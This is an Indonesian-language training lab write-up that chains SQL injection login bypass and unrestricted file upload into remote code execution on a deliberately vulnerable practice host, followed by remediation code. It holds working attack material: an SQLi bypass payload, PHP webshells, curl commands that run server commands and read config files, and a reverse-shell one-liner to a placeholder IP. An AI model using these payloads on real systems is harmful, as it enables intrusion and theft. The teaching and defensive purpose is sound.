TDCTF Academy Logo TDCTF ACADEMY

Lab 05: SQLi & Upload Chain


1. Overview

Pernahkah kamu melihat film perampokan di mana tim pencuri harus melewati dua lapis pengamanan? Pertama mereka memanjat pagar (SQLi), lalu setelah di dalam, mereka masuk lewat jendela yang tidak terkunci (File Upload). Kedua celah itu sendiri mungkin sudah berbahaya, tapi ketika dirangkai, dampaknya menjadi jauh lebih besar.

Chain Exploitation (eksploitasi berantai) adalah teknik menggabungkan dua atau lebih kerentanan untuk mencapai tujuan yang tidak bisa dicapai oleh satu kerentanan saja. Dalam lab ini, kita akan:

  1. Memanjat pagar: Me-bypass login menggunakan SQL Injection (SQLi)
  2. Masuk lewat jendela: Mengunggah webshell melalui celah File Upload di dashboard

Setelah berhasil, kita mendapatkan Remote Code Execution (RCE) - kendali penuh atas server!

Aspek Deskripsi
Tipe Serangan Chain Exploitation - SQLi → File Upload → RCE
Dampak Akhir Remote Code Execution (kendali penuh server)
Level Kesulitan ⭐⭐ Beginner++
Kerentanan Utama SQL Injection + Unrestricted File Upload

2. Target Information

Atribut Nilai
Target URL http://ticket.vuln.cybersecurity.or.id
Level Kesulitan ⭐⭐ Beginner++
Kategori Chain Exploitation
WSTG Mapping WSTG-INPV-02 + WSTG-BUS-01
Teknologi Nginx, PHP, MySQL

Chain yang Akan Dibangun

SQL Injection ──→ Bypass Login ──→ Akses Dashboard ──→ Upload Shell ──→ RCE
(masuk) (autentikasi) (dapat akses) (upload file) (kendali)

3. Vulnerability Background

OWASP Top 10

Lab ini menggabungkan dua kategori dalam OWASP Top 10 2021:

Kategori Kode Deskripsi
A03:2021 - Injection CWE-89 SQL Injection pada form login - input tidak divalidasi
A05:2021 - Security Misconfiguration CWE-434 Upload file tanpa filter ekstensi/mime type

Klasifikasi CWE & CAPEC

Standar Kode Deskripsi
CWE CWE-89 Improper Neutralization of Special Elements used in an SQL Command
CWE CWE-434 Unrestricted Upload of File with Dangerous Type
CAPEC CAPEC-66 SQL Injection
CAPEC CAPEC-17 Using Malicious Files for Access via File Upload

WHY: Akar Masalah

Mengapa chain ini berbahaya? Karena dua kerentanan yang berdiri sendiri menjadi eksplosif ketika dirangkai:

  1. SQLi di login: Biasanya SQLi hanya memberikan akses ke data pengguna. Tapi di sini, setelah login kita mendapatkan akses ke dashboard internal.
  2. Upload tanpa filter di dashboard: Biasanya halaman upload hanya bisa diakses oleh admin. Tapi karena kita sudah bypass login, pagar pertama sudah roboh.
  3. RCE sebagai hasil akhir: Kombinasi keduanya memberi kita shell penuh di server - bukan sekadar data.

Analogi sederhana:

Kamu menemukan pagar belakang yang longgar (SQLi) - kamu masuk ke halaman dalam rumah. Begitu di dalam, kamu menemukan jendela dapur tanpa kunci (File Upload) - kamu bisa memasukkan apa pun yang kamu mau. Akhirnya kamu mendapatkan kunci seluruh rumah (RCE).


4. Prerequisites

Perangkat yang Dibutuhkan

Kebutuhan Keterangan
Terminal Linux/macOS Terminal atau Windows WSL
curl HTTP client via command line. Cek dengan curl --version
Koneksi Internet Untuk mengakses target di ticket.vuln.cybersecurity.or.id
Pemahaman Dasar SQL SELECT, WHERE, OR, komentar --
Pemahaman Dasar PHP Minimal tahu bahwa file .php bisa dieksekusi di server

Persiapan: Buat Webshell Sederhana

Siapkan file shell.php di direktori kerja kamu:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Penjelasan: Webshell ini menerima parameter cmd via URL dan mengeksekusinya sebagai perintah sistem operasi di server. Sangat sederhana tapi sangat mematikan.

# Verifikasi file sudah dibuat
ls -la shell.php

Expected Output:

-rw-rw-r-- 1 user user 33 Jun 18 10:00 shell.php

5. Lab Architecture

Aplikasi Vulnerable Ticket yang menjadi target lab ini memiliki arsitektur sebagai berikut:

┌──────────────┐ Request / Response ┌─────────────────────┐
│ Browser │ ◄────────────────────────► │ Nginx Web Server │
│ / curl │ │ (ticket.lab...) │
└──────────────┘ └─────────┬───────────┘

┌────────▼───────────┐
│ PHP-FPM │
│ │
│ ┌──────────────┐ │
│ │ login.php │ │
│ │ dashboard.php│ │
│ │ upload.php │ │
│ └──────────────┘ │
└────────┬───────────┘

┌────────▼───────────┐
│ MySQL Database │
│ │
│ ┌──────────────┐ │
│ │ users │ │
│ │ tickets │ │
│ └──────────────┘ │
└────────────────────┘

Alur Eksploitasi Berantai:

Langkah 1: SQLi → Login tanpa password
Langkah 2: Akses dashboard dengan session
Langkah 3: Upload shell melalui form upload
Langkah 4: Akses shell → RCE

6. Reconnaissance

Sebelum mengeksploitasi, kita perlu mengintai target terlebih dahulu - memahami struktur aplikasi dan mencari titik masuk.

Langkah 1: Akses Halaman Login

curl -s http://ticket.vuln.cybersecurity.or.id/

Expected Output (sebagian):

<!DOCTYPE html>
<html>
<head><title>Ticket System - Login</title></head>
<body>
<h1>Login</h1>
<form action="login.php" method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>

Analisis: Halaman utama adalah form login dengan field username dan password yang dikirim ke login.php via metode POST. Ini adalah target utama SQLi kita.

[SCREENSHOT-1]: Tampilan halaman login Ticket System dengan form username dan password

Langkah 2: Coba Login dengan Data Sembarang

Uji apakah form login benar-benar memvalidasi kredensial:

curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=test&password=test"

Expected Output:

<!DOCTYPE html>
<html>
<head><title>Login Failed</title></head>
<body>
<h1>Login Gagal</h1>
<p>Username atau password salah.</p>
<a href="/">Kembali ke login</a>
</body>
</html>

Analisis: Aplikasi memvalidasi login - tidak sembarang user bisa masuk. Ini berarti ada query SQL yang memeriksa username dan password di database.

[SCREENSHOT-2]: Response halaman "Login Gagal" setelah mencoba login dengan kredensial palsu

Langkah 3: Uji Karakter Kutip di Form Login

Sekarang kita coba input yang bisa memicu error SQL:

curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=admin'&password=test"

Expected Output (mungkin):

<!DOCTYPE html>
<html>
<head><title>Database Error</title></head>
<body>
<h1>Error</h1>
<p>You have an error in your SQL syntax...</p>
</body>
</html>

Analisis: Karakter ' menyebabkan error SQL! Ini indikasi kuat bahwa aplikasi menggunakan string concatenation di query login - celah SQL Injection terbuka lebar.

[SCREENSHOT-3]: Error SQL muncul setelah input karakter kutip di field username

Langkah 4: Cari Halaman Dashboard (Belum Login)

Coba akses langsung halaman yang mungkin ada di dalam:

curl -s http://ticket.vuln.cybersecurity.or.id/dashboard.php

Expected Output:

<!DOCTYPE html>
<html>
<head><title>Akses Ditolak</title></head>
<body>
<h1>401 Unauthorized</h1>
<p>Anda harus login terlebih dahulu.</p>
<a href="/">Login</a>
</body>
</html>

Analisis: Halaman dashboard dilindungi - perlu session valid untuk mengaksesnya. Kita harus bypass login dulu.

[SCREENSHOT-4]: Halaman dashboard menolak akses dengan 401 Unauthorized


7. Alur Eksploitasi

Sebelum masuk ke detail masing-masing finding, mari pahami alur eksploitasi secara keseluruhan:

┌─────────────────────────────────────────────────────────────────────┐
│ ALUR EKSPLOITASI BERANTAI │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ TAHAP 1: RECONNAISSANCE │
│ ├─ Akses halaman login ───────────► Temukan form POST │
│ ├─ Coba login palsu ──────────────► Konfirmasi validasi │
│ ├─ Uji karakter kutip ────────────► Deteksi SQL Injection │
│ └─ Akses dashboard langsung ─────► Butuh session login │
│ │
│ TAHAP 2: FINDING 1 - SQLi Bypass Login │
│ ├─ Bypass dengan OR '1'='1' ─────► Login sebagai admin │
│ ├─ Tangkap cookie session ────────► Simpan untuk akses dashboard │
│ └─ Akses dashboard ───────────────► Temukan form upload │
│ │
│ TAHAP 3: FINDING 2 - File Upload to RCE │
│ ├─ Buat webshell PHP ─────────────► shell.php │
│ ├─ Upload via form dashboard ─────► Shell terkirim ke server │
│ └─ Akses shell ──────────────────► Remote Code Execution │
│ │
└─────────────────────────────────────────────────────────────────────┘

8. Finding 1: SQL Injection Authentication Bypass

Field Detail
ID Temuan F-001
Nama SQL Injection pada Form Login - Authentication Bypass
Severity 🔴 Critical
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
Affected Endpoint POST http://ticket.vuln.cybersecurity.or.id/login.php
Affected Parameter username
Deskripsi Parameter username pada form login langsung digabungkan ke query SQL tanpa sanitasi. Attacker dapat menyisipkan payload SQL untuk mem-bypass autentikasi dan login sebagai pengguna mana pun tanpa mengetahui password.
Impact Sangat Tinggi - Attacker dapat login sebagai admin tanpa password, mengakses seluruh halaman yang dilindungi (dashboard, upload, dll), dan melanjutkan eksploitasi ke tahap berikutnya.

Proof & Reproduction

Langkah 5: Bypass Login dengan SQL Injection

Kita akan menggunakan payload klasik SQL Injection: ' OR '1'='1' -- -

Payload ini bekerja dengan cara:

  1. Kutip ' menutup string username di query SQL
  2. OR '1'='1' membuat kondisi selalu benar
  3. -- - mengomentari sisa query (bagian password)

Sehingga query asli yang tadinya:

SELECT * FROM users WHERE username = 'admin' AND password = 'something'

Berubah menjadi:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- -' AND password = 'something'

Kirim payload SQLi:

curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=admin' OR '1'='1' -- -&password=anything" \
-c cookies.txt -v 2>&1

Expected Output (perhatikan header response):

* Connected to ticket.vuln.cybersecurity.or.id (X.X.X.X) port 80
> POST /login.php HTTP/1.1
> ...
< HTTP/1.1 302 Found
< Location: dashboard.php
< Set-Cookie: PHPSESSID=abc123def456; path=/
...

Analisis:

  • Response 302 Found → redirect ke dashboard.php - artinya login BERHASIL!
  • Server mengirim Set-Cookie berisi PHPSESSID - session kita valid
  • Kita berhasil login tanpa mengetahui password yang benar!

[SCREENSHOT-5]: Response 302 redirect ke dashboard.php dengan Set-Cookie setelah SQLi bypass

Langkah 6: Verifikasi Akses Dashboard

Gunakan cookie session yang didapat untuk mengakses dashboard:

curl -s http://ticket.vuln.cybersecurity.or.id/dashboard.php \
-b cookies.txt

Expected Output (sebagian):

<!DOCTYPE html>
<html>
<head><title>Dashboard - Ticket System</title></head>
<body>
<h1>Selamat Datang, admin!</h1>
<p>Panel administrasi tiket.</p>
<h2>Upload File</h2>
<form action="upload.php" method="POST" enctype="multipart/form-data">
Pilih file: <input type="file" name="file"><br>
<input type="submit" value="Upload">
</form>
</body>
</html>

Analisis:

  • ✅ Kita berhasil login sebagai admin
  • Dashboard menampilkan form upload file - ini adalah pintu masuk ke tahap eksploitasi selanjutnya!

[SCREENSHOT-6]: Dashboard admin menampilkan "Selamat Datang, admin!" dan form upload file


9. Finding 2: File Upload to Remote Code Execution (RCE)

Field Detail
ID Temuan F-002
Nama Unrestricted File Upload - Remote Code Execution
Severity 🔴 Critical
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-434 - Unrestricted Upload of File with Dangerous Type
Affected Endpoint POST http://ticket.vuln.cybersecurity.or.id/upload.php
Affected Parameter file (multipart form-data)
Deskripsi Form upload di halaman dashboard tidak memvalidasi tipe file, ekstensi, atau konten file yang diunggah. Attacker dapat mengunggah file PHP berbahaya (webshell) yang kemudian bisa diakses dari browser untuk mengeksekusi perintah sistem.
Impact Kritis - Remote Code Execution (RCE) - Attacker mendapatkan kendali penuh atas server web. Dapat membaca/mengubah/menghapus file, mencuri data, menginstall backdoor, atau menggunakan server sebagai pivot point untuk serangan lanjutan.

Proof & Reproduction

Langkah 7: Upload Webshell

Dengan session admin yang valid, kita upload webshell PHP yang sudah disiapkan sebelumnya:

curl -s -X POST http://ticket.vuln.cybersecurity.or.id/upload.php \
-b cookies.txt \

Expected Output (jika sukses):

<!DOCTYPE html>
<html>
<head><title>Upload Sukses</title></head>
<body>
<h1>File Berhasil Diupload</h1>
<p>File: <a href="uploads/shell.php">uploads/shell.php</a></p>
</body>
</html>

Analisis: Server menerima file .php tanpa protes - tidak ada pemeriksaan ekstensi, tidak ada validasi MIME type. File webshell kita tersimpan di direktori uploads/.

[SCREENSHOT-7]: Halaman konfirmasi upload sukses dengan link ke file shell.php

Langkah 8: Verifikasi RCE - Eksekusi Perintah

Sekarang kita akses webshell yang sudah diupload:

curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

🎉 RCE Berhasil! Perintah id dieksekusi di server dan mengembalikan informasi bahwa server berjalan sebagai user www-data.

[SCREENSHOT-8]: Output perintah id dari server - konfirmasi RCE berhasil

Langkah 9: Eksplorasi Server

Sekarang kita bisa menjalankan berbagai perintah untuk eksplorasi lebih lanjut:

# Cek direktori saat ini
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=pwd"

# Daftar file di server
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls%20-la%20/var/www/html"

# Lihat isi file konfigurasi database
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=cat%20/var/www/html/config.php"

# Cek siapa saja yang login
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=who"

Analisis: Dengan RCE, kita bisa melakukan apa pun yang bisa dilakukan user www-data di server - membaca file sensitif, mengakses database melalui file konfigurasi, menginstall backdoor permanen, dan lain-lain.

[SCREENSHOT-9]: Eksplorasi server - output perintah ls, pwd, dan cat config.php


10. Remediation

Remediasi Finding 1: SQL Injection

1. Prepared Statements (Wajib!)

Gantilah query concatenation dengan prepared statements:

<?php
// ✅ AMAN - Prepared Statement
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

if ($user) {
$_SESSION['user'] = $user['username'];
header("Location: dashboard.php");
} else {
echo "Login gagal";
}
?>

2. Input Validation & Sanitization

<?php
// Batasi karakter yang diizinkan
$username = preg_replace('/[^a-zA-Z0-9_]/', '', $_POST['username']);
?>

3. Gunakan Framework Modern

Framework seperti Laravel, CodeIgniter, atau Symfony telah memiliki built-in protection terhadap SQL Injection melalui Eloquent ORM atau Query Builder.

Remediasi Finding 2: File Upload

1. Validasi Ekstensi File

<?php
// ✅ AMAN - Cek ekstensi file
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$file_ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($file_ext, $allowed_extensions)) {
die("Ekstensi file tidak diizinkan!");
}
?>

2. Validasi MIME Type

<?php
// ✅ AMAN - Cek MIME type
$allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$file_mime = mime_content_type($_FILES['file']['tmp_name']);

if (!in_array($file_mime, $allowed_mimes)) {
die("Tipe file tidak diizinkan!");
}
?>

3. Rename File & Hindari Path Traversal

<?php
// ✅ AMAN - Generate nama file acak
$new_name = md5(uniqid()) . '.' . $file_ext;
$upload_path = '/var/www/html/uploads/' . $new_name;

// Pastikan tidak ada path traversal
$real_path = realpath(dirname($upload_path)) . '/' . basename($upload_path);
if (strpos($real_path, realpath('/var/www/html/uploads/')) !== 0) {
die("Path traversal terdeteksi!");
}
?>

4. Simpan File di Luar Document Root

Cara paling aman: simpan file upload di luar direktori yang bisa diakses web:

<?php
// ✅ PALING AMAN - Simpan di luar document root
$upload_dir = '/var/www/secure_uploads/'; // Bukan di /var/www/html/
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $new_name);
?>

Dengan cara ini, meskipun attacker berhasil mengupload file .php, file tersebut tidak bisa dieksekusi karena berada di luar jangkauan web server.


11. Kesimpulan

Apa yang Telah Kita Pelajari

Konsep Ringkasan
Chain Exploitation Menggabungkan dua kerentanan (SQLi + Upload) untuk mencapai dampak yang lebih besar
SQL Injection Bypass Teknik ' OR '1'='1' -- - untuk melewati autentikasi login
File Upload RCE Upload file .php tanpa filter untuk mendapatkan eksekusi perintah
From Zero to RCE Dari tanpa akses → login admin → kendali penuh server

Mengapa Ini Berbahaya?

Sendiri-sendiri:

  • SQLi saja: hanya bisa mencuri data dari database
  • Upload saja: hanya bisa diakses oleh admin yang sudah login

Tapi ketika dirangkai:

  • SQLi memberi akses ke dashboard (yang seharusnya terproteksi)
  • Upload memberi kemampuan eksekusi kode (yang seharusnya terbatas)
  • Hasil akhir: RCE - kendali penuh server!

Pencegahan Holistik

  1. Layered Defense: Jangan hanya mengandalkan satu lapis keamanan
  2. Validasi di Semua Endpoint: Setiap input adalah potensi serangan
  3. Least Privilege: User database dan file system sebaiknya memiliki hak terbatas
  4. Regular Security Testing: Lakukan pengujian keamanan secara berkala

12. Latihan Mandiri

Coba tantangan berikut untuk memperdalam pemahaman:

  1. SQLi Variasi: Gunakan payload SQLi lain selain ' OR '1'='1' -- -. Misalnya admin'-- - atau ' UNION SELECT 1,'admin','hash','admin'-- -

  2. Webshell Lanjutan: Buat webshell yang lebih canggih dengan fitur upload file, file manager, atau reverse shell:

# Webshell dengan form upload
cat > shell2.php << 'EOF'
<?php
if (isset($_FILES['f'])) {
move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
echo "Uploaded: " . $_FILES['f']['name'];
} else {
echo '<form method="post" enctype="multipart/form-data">
<input type="file" name="f"><input type="submit"></form>';
}
?>
EOF
  1. Cari Upload Lain: Setelah login sebagai admin, jelajahi apakah ada fitur upload lain selain di dashboard utama.

  2. Blind SQLi: Jika error tidak ditampilkan, coba teknik Blind SQLi (boolean-based atau time-based).

  3. Reverse Shell: Upgrade webshell menjadi reverse shell menggunakan Python atau netcat:

bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

13. Referensi

Dokumentasi & Standar

Referensi URL
OWASP Top 10 2021 https://owasp.org/www-project-top-ten/
OWASP SQL Injection https://owasp.org/www-community/attacks/SQL_Injection
OWASP File Upload https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
CWE-89: SQL Injection https://cwe.mitre.org/data/definitions/89.html
CWE-434: File Upload https://cwe.mitre.org/data/definitions/434.html
WSTG - SQL Injection https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection

Bacaan Lanjutan

Topik Link
PHP Prepared Statements https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php
Secure File Upload in PHP https://www.php.net/manual/en/features.file-upload.php
Web Shells Explained https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction/

14. Evidence Collection

Gunakan checklist berikut untuk memastikan semua langkah telah dilakukan dan dicatat.

Checklist Pengujian

No Langkah Status Command / Output
1 Akses halaman utama curl -s http://ticket.vuln.cybersecurity.or.id/
2 Coba login palsu (test:test) Response "Login Gagal"
3 Uji karakter kutip (admin') Error SQL atau response tidak normal
4 SQLi bypass login curl -X POST ... -d "username=admin' OR '1'='1' -- -&password=x" → 302 redirect
5 Simpan cookie session Cookie PHPSESSID tersimpan di cookies.txt
6 Akses dashboard dengan cookie Halaman dashboard tampil dengan form upload
7 Buat webshell (shell.php) File <?php system($_GET["cmd"]); ?> siap
8 Upload webshell via dashboard Response "Upload Sukses" dengan link file
9 Verifikasi RCE (?cmd=id) Output uid=33(www-data)...
10 Eksplorasi server Minimal 3 perintah eksplorasi berhasil

Command Log (contoh)

Simpan semua perintah yang berhasil dalam file teks untuk dokumentasi:

cat > sqli-upload-chain-evidence.txt << 'EOF'
=== EVIDENCE LOG: SQLi & Upload Chain ===
Target: http://ticket.vuln.cybersecurity.or.id
Date: $(date)
Tester: [NAMA KAMU]

[RECON - Langkah 1: Akses halaman utama]
curl -s http://ticket.vuln.cybersecurity.or.id/
Result: Halaman login dengan form

[RECON - Langkah 2: Login palsu]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php -d "username=test&password=test"
Result: "Login Gagal"

[RECON - Langkah 3: Deteksi SQLi]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php -d "username=admin'&password=test"
Result: Error SQL / response tidak normal - KONFIRMASI RENTAN

[FINDING 1 - Langkah 5: SQLi Bypass]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/login.php \
-d "username=admin' OR '1'='1' -- -&password=anything" -c cookies.txt -v 2>&1
Result: 302 redirect → dashboard.php

[FINDING 1 - Langkah 6: Akses Dashboard]
curl -s http://ticket.vuln.cybersecurity.or.id/dashboard.php -b cookies.txt
Result: Dashboard admin dengan form upload

[FINDING 2 - Langkah 7: Upload Shell]
curl -s -X POST http://ticket.vuln.cybersecurity.or.id/upload.php \
-b cookies.txt -F "[email protected]"
Result: Upload sukses

[FINDING 2 - Langkah 8: RCE Verification]
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[FINDING 2 - Langkah 9: Eksplorasi]
curl -s "http://ticket.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls%20-la%20/var/www/html"
Result: [daftar file di server]

EOF

TDCTF Security Academy - Cybersecurity Indonesia

PADA HALAMAN INI